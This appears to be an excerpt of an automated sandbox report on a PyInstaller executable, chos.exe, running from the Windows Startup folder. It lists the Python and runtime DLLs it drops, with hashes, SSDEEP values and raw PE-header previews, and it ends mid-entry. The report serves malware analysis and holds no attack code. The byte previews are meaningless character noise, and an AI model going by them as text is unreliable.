                                                                                                                                                                                                                                            SHA-256:034BB8EFE3068763D32C404C178BD88099192C707A36F5351F7FDB63249C7F81
                                                                                                                                                                                                                                            SHA-512:C4D3F92D7558BE1A714388C72F5992165DD7A9E1B4FA83B882536030542D93FDAD9148C981F76FFF7868192B301AC9256EDB8C3D5CE5A1A2ACAC183F96C1028B
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@................../....../...../......+.......*......-......&....................,....Rich...........................PE..d...Z..f.........." ................P........................................p............`......................................... '..t....'..P....P.......@...............`..(....!...............................!..8............ ...............................text...h........................... ..`.rdata..`.... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..(....`.......&..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\VCRUNTIME140.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):120400
                                                                                                                                                                                                                                            Entropy (8bit):6.6017475353076716
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
                                                                                                                                                                                                                                            MD5:862F820C3251E4CA6FC0AC00E4092239
                                                                                                                                                                                                                                            SHA1:EF96D84B253041B090C243594F90938E9A487A9A
                                                                                                                                                                                                                                            SHA-256:36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
                                                                                                                                                                                                                                            SHA-512:2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\VCRUNTIME140_1.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):49744
                                                                                                                                                                                                                                            Entropy (8bit):6.701724666218339
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:ApzzO6ujT3MbR3v0Cz6SR8q83yaFdWr9zRcmgEl6U9zSC:9q/oGw3fFdwzRcmZFzSC
                                                                                                                                                                                                                                            MD5:68156F41AE9A04D89BB6625A5CD222D4
                                                                                                                                                                                                                                            SHA1:3BE29D5C53808186EBA3A024BE377EE6F267C983
                                                                                                                                                                                                                                            SHA-256:82A2F9AE1E6146AE3CB0F4BC5A62B7227E0384209D9B1AEF86BBCC105912F7CD
                                                                                                                                                                                                                                            SHA-512:F7BF8AD7CD8B450050310952C56F6A20B378A972C822CCC253EF3D7381B56FFB3CA6CE3323BEA9872674ED1C02017F78AB31E9EB9927FC6B3CBA957C247E5D57
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?.{...{...{...0...y.......y...r.H.p...{...H.......|.......`.......~.......z.....$.z.......z...Rich{...........PE..d...l0.?.........." ...).<...8.......@...............................................b....`A........................................pm.......m..x....................r..PP......D....c..p...........................`b..@............P..`............................text....;.......<.................. ..`.rdata.."#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_asyncio.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):70928
                                                                                                                                                                                                                                            Entropy (8bit):6.242470629630265
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:FCIB0WWuqkJS86D6rznO6uqM+lY5ZkesIcydIJvn/5YiSyvT2ETh:FCY0WStDwnOLYY5ZkeddIJvnx7Sy75h
                                                                                                                                                                                                                                            MD5:80083B99812171FEA682B1CF38026816
                                                                                                                                                                                                                                            SHA1:365FB5B0C652923875E1C7720F0D76A495B0E221
                                                                                                                                                                                                                                            SHA-256:DBEAE7CB6F256998F9D8DE79D08C74D716D819EB4473B2725DBE2D53BA88000A
                                                                                                                                                                                                                                            SHA-512:33419B9E18E0099DF37D22E33DEBF15D57F4248346B17423F2B55C8DA7CBE62C19AA0BB5740CFAAC9BC6625B81C54367C0C476EAECE71727439686567F0B1234
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Z...........%.....................................................K...................I...........Rich...................PE..d......g.........." ...).d................................................... ............`.........................................`...P.......d......................../.............T...............................@...............(............................text...)b.......d.................. ..`.rdata...O.......P...h..............@..@.data...`...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_bz2.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):84240
                                                                                                                                                                                                                                            Entropy (8bit):6.607563436050078
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:Kdrz7l1EVLsSuvX3dUK4MLgqK7YEog8y5sV8lIJLVy7SyFB:urzcuvXvrEo7y6V8lIJLVyB
                                                                                                                                                                                                                                            MD5:CB8C06C8FA9E61E4AC5F22EEBF7F1D00
                                                                                                                                                                                                                                            SHA1:D8E0DFC8127749947B09F17C8848166BAC659F0D
                                                                                                                                                                                                                                            SHA-256:FC3B481684B926350057E263622A2A5335B149A0498A8D65C4F37E39DD90B640
                                                                                                                                                                                                                                            SHA-512:E6DA642B7200BFB78F939F7D8148581259BAA9A5EDDA282C621D14BA88083A9B9BD3D17B701E9CDE77AD1133C39BD93FC9D955BB620546BB4FCF45C68F1EC7D6
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!m..!m..!m..(.o.+m..1...#m..1..."m..1...%m..1...)m..1...,m..i..."m..j...#m..!m..|m..i...)m..i... m..i... m..i... m..Rich!m..........PE..d.....g.........." ...).....\......0........................................P......7[....`.............................................H...(........0....... .. ......../...@..........T...........................`...@...............x............................text............................... ..`.rdata...=.......>..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_cffi_backend.cp313-win_amd64.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):179200
                                                                                                                                                                                                                                            Entropy (8bit):6.189919896183334
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:X3LjFuaTzDGA3GrJwUdoSPhpRv9JUizQWS7LkSTLkKWgFIPXD0:X3QaT3GA3NSPhDsizTikSTLLWgF0z0
                                                                                                                                                                                                                                            MD5:5CBA92E7C00D09A55F5CBADC8D16CD26
                                                                                                                                                                                                                                            SHA1:0300C6B62CD9DB98562FDD3DE32096AB194DA4C8
                                                                                                                                                                                                                                            SHA-256:0E3D149B91FC7DC3367AB94620A5E13AF6E419F423B31D4800C381468CB8AD85
                                                                                                                                                                                                                                            SHA-512:7AB432C8774A10F04DDD061B57D07EBA96481B5BB8C663C6ADE500D224C6061BC15D17C74DA20A7C3CEC8BBF6453404D553EBAB22D37D67F9B163D7A15CF1DED
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i..#-p.p-p.p-p.p$..p!p.p=.q/p.p=.zp)p.p=.q)p.p=.q%p.p=.q!p.pf..q)p.p9.q.p.p-p.p.p.pe..q)p.p$..p,p.pe..q,p.pe.xp,p.pe..q,p.pRich-p.p........................PE..d..._..f.........." ...).....B......@........................................0............`..........................................h..l....i..................T............ ......0O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...n..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_ctypes.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):131344
                                                                                                                                                                                                                                            Entropy (8bit):6.311142284249784
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:3RF024DWkT/DKGkXY402iXnVJf/FO50XnekZ39gPhvEQZIJyPArm:j0nHT/DKFXZorf/FO50uW3SEQt
                                                                                                                                                                                                                                            MD5:A55E57D7594303C89B5F7A1D1D6F2B67
                                                                                                                                                                                                                                            SHA1:904A9304A07716497CF3E4EAAFD82715874C94F1
                                                                                                                                                                                                                                            SHA-256:F63C6C7E71C342084D8F1A108786CA6975A52CEFEF8BE32CC2589E6E2FE060C8
                                                                                                                                                                                                                                            SHA-512:FFA61AD2A408A831B5D86B201814256C172E764C9C1DBE0BD81A2E204E9E8117C66F5DFA56BB7D74275D23154C0ED8E10D4AE8A0D0564434E9761D754F1997FC
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h~..............q...............................................q.......q......!u.............................................Rich....................PE..d.....g.........." ...).............h....................................... .......Z....`.........................................P.................................../...........=..T............................;..@............0...............................text............................... ..`.rdata...y...0...z..................@..@.data....$....... ..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_decimal.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):277776
                                                                                                                                                                                                                                            Entropy (8bit):6.5855511991551
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:6144:x9iD78EIq4x4OA5bZZ0KDgQcI79qWM53pLW1AFR8E4wXw76TPlpV77777VMvyk:xwDGqr5b8EgQ5+w6k
                                                                                                                                                                                                                                            MD5:F3377F3DE29579140E2BBAEEFD334D4F
                                                                                                                                                                                                                                            SHA1:B3076C564DBDFD4CA1B7CC76F36448B0088E2341
                                                                                                                                                                                                                                            SHA-256:B715D1C18E9A9C1531F21C02003B4C6726742D1A2441A1893BC3D79D7BB50E91
                                                                                                                                                                                                                                            SHA-512:34D9591590BBA20613691A5287EF329E5927A58127CE399088B4D68A178E3AF67159A8FC55B4FCDCB08AE094753B20DEC2AC3F0B3011481E4ED6F37445CECDD5
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j2U..\...\...\..s....\..]...\.._...\..X...\..Y...\...]...\..s]...\...].z.\..._...\...Q...\...\...\.......\...^...\.Rich..\.........................PE..d......g.........." ...).....Z...............................................P......W.....`.................................................L........0..........t+......./...@..........T...............................@............... ............................text.............................. ..`.rdata..\...........................@..@.data...8'......."..................@....pdata..t+.......,..................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_hashlib.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):64272
                                                                                                                                                                                                                                            Entropy (8bit):6.220967684620152
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:eNJI0DWiflFwY9X3Th1JnptE462TxNvdbj4dIJvI75YiSyvE62Em:2LDxflFwY9XDhPfVNv+dIJvIF7Syc6c
                                                                                                                                                                                                                                            MD5:32D76C9ABD65A5D2671AEEDE189BC290
                                                                                                                                                                                                                                            SHA1:0D4440C9652B92B40BB92C20F3474F14E34F8D62
                                                                                                                                                                                                                                            SHA-256:838D5C8B7C3212C8429BAF612623ABBBC20A9023EEC41E34E5461B76A285B86C
                                                                                                                                                                                                                                            SHA-512:49DC391F4E63F4FF7D65D6FD837332745CC114A334FD61A7B6AA6F710B235339964B855422233FAC4510CCB9A6959896EFE880AB24A56261F78B2A0FD5860CD9
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.A.6...6...6...N%..6.......6.......6.......6.......6.......6...N...6.......6...6..26.......6.......6....I..6.......6..Rich.6..........PE..d......g.........." ...).P...~.......=..............................................!.....`.........................................p...P................................/......X....l..T............................k..@............`...............................text....N.......P.................. ..`.rdata...M...`...N...T..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_lzma.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):157968
                                                                                                                                                                                                                                            Entropy (8bit):6.854644275249963
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:KbbS4R/G4Z8r7NjwJTSUqCRY4By7znfB9mNowgn0lCelIJ012+j:KbR/8oWeBi5YOwflCe8o
                                                                                                                                                                                                                                            MD5:1BA022D42024A655CF289544AE461FB8
                                                                                                                                                                                                                                            SHA1:9772A31083223ECF66751FF3851D2E3303A0764C
                                                                                                                                                                                                                                            SHA-256:D080EABD015A3569813A220FD4EA74DFF34ED2A8519A10473EB37E22B1118A06
                                                                                                                                                                                                                                            SHA-512:2B888A2D7467E29968C6BB65AF40D4B5E80722FFDDA760AD74C912F3A2F315D402F3C099FDE82F00F41DE6C9FAAEDB23A643337EB8821E594C567506E3464C62
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,...,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..u,.V.,..-.V.,Rich.V.,................PE..d......g.........." ...).`...........1.......................................p.......P....`.............................................L.......x....P.......0.......:.../...`..4....|..T...........................P{..@............p...............................text...^^.......`.................. ..`.rdata.......p.......d..............@..@.data........ ......................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc..4....`.......8..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_multiprocessing.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):35600
                                                                                                                                                                                                                                            Entropy (8bit):6.416657776501014
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:6wehui7ZmQW/3OUDxEiNIJntJ5YiSyvSJz2Ec:whuilG+UDxEiNIJntX7Sy+zO
                                                                                                                                                                                                                                            MD5:705AC24F30DC9487DC709307D15108ED
                                                                                                                                                                                                                                            SHA1:E9E6BA24AF9947D8995392145ADF62CAC86BA5D8
                                                                                                                                                                                                                                            SHA-256:59134B754C6ACA9449E2801E9E7ED55279C4F1ED58FE7A7A9F971C84E8A32A6C
                                                                                                                                                                                                                                            SHA-512:F5318EBB91F059F0721D75D576B39C7033D566E39513BAD8E7E42CCC922124A5205010415001EE386495F645238E2FF981A8B859F0890DC3DA4363EB978FDBA7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.Y)v.7zv.7zv.7z..zt.7zf,6{t.7zf,4{u.7zf,3{~.7zf,2{{.7z>-6{t.7zv.6z..7z=.6{s.7z>-:{t.7z>-7{w.7z>-.zw.7z>-5{w.7zRichv.7z........PE..d......g.........." ...). ...>......@...............................................%.....`......................................... E..`....E..x............p.......\.../...........4..T............................3..@............0...............................text............ .................. ..`.rdata..6 ...0..."...$..............@..@.data...p....`.......F..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_overlapped.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):55568
                                                                                                                                                                                                                                            Entropy (8bit):6.3313243577146485
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:+kMm7HdG/l5fW3UguCE+eRIJWtd7SyJds:+wIQUFCEbRIJWtd6
                                                                                                                                                                                                                                            MD5:A72527454DD6DA346DDB221FC729E3D4
                                                                                                                                                                                                                                            SHA1:0276387E3E0492A0822DB4EABE23DB8C25EF6E6F
                                                                                                                                                                                                                                            SHA-256:404353D7B867749FA2893033BD1EBF2E3F75322D4015725D697CFA5E80EC9D0F
                                                                                                                                                                                                                                            SHA-512:FEFB543D20520F86B63E599A56E2166599DFA117EDB2BEB5E73FC8B43790543702C280A05CCFD9597C0B483F637038283DD48EF8C88B4EA6BAC411EC0043B10A
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.{X/.(X/.(X/.(QW_(\/.(H..)Z/.(H..)[/.(H..)P/.(H..)T/.(...)Z/.(X/.(//.(.W.)]/.(.W.)Y/.(...)Y/.(...)Y/.(..3(Y/.(...)Y/.(RichX/.(........................PE..d.....g.........." ...).L...`......@................................................}....`.............................................X................................/......(....f..T............................e..@............`...............................text....J.......L.................. ..`.rdata...8...`...:...P..............@..@.data...@...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_queue.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):33552
                                                                                                                                                                                                                                            Entropy (8bit):6.446391764486538
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:7GpPCRjqMu/AoS6rf7sif0NHQibZIJ9UoOHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:fkTM6rg9aeZIJ9Uok5YiSyvTo2Et
                                                                                                                                                                                                                                            MD5:1C03CAA59B5E4A7FB9B998D8C1DA165A
                                                                                                                                                                                                                                            SHA1:8A318F80A705C64076E22913C2206D9247D30CD7
                                                                                                                                                                                                                                            SHA-256:B9CF502DADCB124F693BF69ECD7077971E37174104DBDA563022D74961A67E1E
                                                                                                                                                                                                                                            SHA-512:783ECDA7A155DFC96A718D5A130FB901BBECBED05537434E779135CBA88233DD990D86ECA2F55A852C9BFB975074F7C44D8A3E4558D7C2060F411CE30B6A915F
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T...........-.........................................................................A...........Rich...................PE..d.....g.........." ...).....:.......................................................r....`.........................................PD..L....D..d....p.......`..l....T.../..........@4..T............................3..@............0...............................text............................... ..`.rdata..2....0....... ..............@..@.data........P.......>..............@....pdata..l....`.......D..............@..@.rsrc........p.......H..............@..@.reloc...............R..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_socket.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):83728
                                                                                                                                                                                                                                            Entropy (8bit):6.331814573029388
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:XuV3gvWHQdMq3ORC/OypTXQlyJ+9+nzEYwsBI6tzOKuZIJywJ7Sy21:XuVQvcQTSypTXQlyJs+nzEYJI6QlZIJY
                                                                                                                                                                                                                                            MD5:FE896371430BD9551717EF12A3E7E818
                                                                                                                                                                                                                                            SHA1:E2A7716E9CE840E53E8FC79D50A77F40B353C954
                                                                                                                                                                                                                                            SHA-256:35246B04C6C7001CA448554246445A845CE116814A29B18B617EA38752E4659B
                                                                                                                                                                                                                                            SHA-512:67ECD9A07DF0A07EDD010F7E3732F3D829F482D67869D6BCE0C9A61C24C0FDC5FF4F4E4780B9211062A6371945121D8883BA2E9E2CF8EB07B628547312DFE4C9
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............ll}.ll}.ll}...}.ll}..m|.ll}..o|.ll}..h|.ll}..i|.ll}..m|.ll}.lm}.ll}..m|.ll}..a|.ll}..l|.ll}..}.ll}..n|.ll}Rich.ll}........PE..d.....g.........." ...).x.......... -.......................................`.......s....`.........................................@...P............@.......0.........../...P..........T...........................@...@............................................text....w.......x.................. ..`.rdata.. y.......z...|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_sqlite3.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):128272
                                                                                                                                                                                                                                            Entropy (8bit):6.294497957566744
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:N+tZdKmXhyn/qO6ItCpz6j5yQyshiKftdIJvQJL:NGZVwnxHssj5lhiYR
                                                                                                                                                                                                                                            MD5:D4E5BE27410897AC5771966E33B418C7
                                                                                                                                                                                                                                            SHA1:5D18FF3CC196557ED40F2F46540B2BFE02901D98
                                                                                                                                                                                                                                            SHA-256:3E625978D7C55F4B609086A872177C4207FB483C7715E2204937299531394F4C
                                                                                                                                                                                                                                            SHA-512:4D40B4C6684D3549C35ED96BEDD6707CE32DFAA8071AEADFBC682CF4B7520CFF08472F441C50E0D391A196510F8F073F26AE8B2D1E9B1AF5CF487259CC6CCC09
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V...7.7.7.Oc..7...7.....7...7.....7.....7...7..O.7.7.6.....7...7.....7...7.Rich.7.........................PE..d......g.........." ...)............................................................[.....`..........................................{..P...P{.........................../..............T...............................@...............H............................text...t........................... ..`.rdata.............................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_ssl.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):181520
                                                                                                                                                                                                                                            Entropy (8bit):5.972827303352998
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3072:kO+IWyXHllRhN1qhep7fM6CpqjZI8u7pUULbaLZErWreVEzvT3iFCNc6tYwJc1OW:kpSrhN1E2M6CpUuwg5dEW7
                                                                                                                                                                                                                                            MD5:1C0E3E447F719FBE2601D0683EA566FC
                                                                                                                                                                                                                                            SHA1:5321AB73B36675B238AB3F798C278195223CD7B1
                                                                                                                                                                                                                                            SHA-256:63AE2FEFBFBBBC6EA39CDE0A622579D46FF55134BC8C1380289A2976B61F603E
                                                                                                                                                                                                                                            SHA-512:E1A430DA2A2F6E0A1AED7A76CC4CD2760B3164ABC20BE304C1DB3541119942508E53EA3023A52B8BADA17A6052A7A51A4453EFAD1A888ACB3B196881226C2E5C
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FM.^.,k..,k..,k..T...,k...j..,k...h..,k...o..,k...n..,k.J.j..,k...j..,k..,j..-k.ITj..,k.J.f..,k.J.k..,k.J....,k.J.i..,k.Rich.,k.................PE..d......g.........." ...)............ /..............................................R\....`.............................................d................................/..............T...........................P...@............................................text...0........................... ..`.rdata..D%.......&..................@..@.data...`...........................@....pdata...............n..............@..@.rsrc................z..............@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\_uuid.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):25872
                                                                                                                                                                                                                                            Entropy (8bit):6.591600232213824
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:bROw4TUyiIWlIJ0wsaHQIYiSy1pCQxHoQSJIVE8E9VF0NyEIkz:4w4TUyfWlIJ0wT5YiSyvBk2E3kz
                                                                                                                                                                                                                                            MD5:3ACF3138D5550CA6DE7E2580E076E0F7
                                                                                                                                                                                                                                            SHA1:3E878A18DF2362AA6F0BDBFA058DCA115E70D0B8
                                                                                                                                                                                                                                            SHA-256:F9D5008F0772AA0720BC056A6ECD5A2A3F24965E4B470B022D88627A436C1FFE
